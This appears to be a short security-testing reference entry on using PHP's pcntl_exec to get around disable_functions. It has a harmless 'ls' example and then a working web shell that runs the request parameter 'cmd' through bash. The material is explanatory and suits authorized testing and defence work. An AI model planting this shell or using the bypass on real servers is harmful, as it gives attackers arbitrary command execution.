PHP pcntl_exec Command Execution
If the PCNTL extension is loaded and pcntl_exec is not itself disabled, the function can start an executable even when more familiar command-execution functions are listed in disable_functions. pcntl_exec replaces the current process; it does not create a child process, and its arguments must be supplied as an array.[1]
The following minimal example executes ls -l /var/tmp. It is adapted from an older disable_functions bypass demonstration.[2]
<?php
$program = '/bin/ls';
$arguments = ['-l', '/var/tmp'];
if (function_exists('pcntl_exec')) {
pcntl_exec($program, $arguments);
}
// This line is reached only if pcntl_exec() fails.
echo "pcntl_exec failed\n";
?>
This technique is Unix-specific and can terminate or replace a PHP worker process. Use it only in an authorized test environment.[1]
For a request-driven lab check, keep the argument as an array; passing a string as the second parameter is invalid. Because pcntl_exec() replaces the PHP process, command output is written directly to the current response or process streams rather than returning to PHP:[1]
<?php
if (function_exists('pcntl_exec') && isset($_REQUEST['cmd'])) {
pcntl_exec('/bin/bash', ['-c', $_REQUEST['cmd']]);
}
?>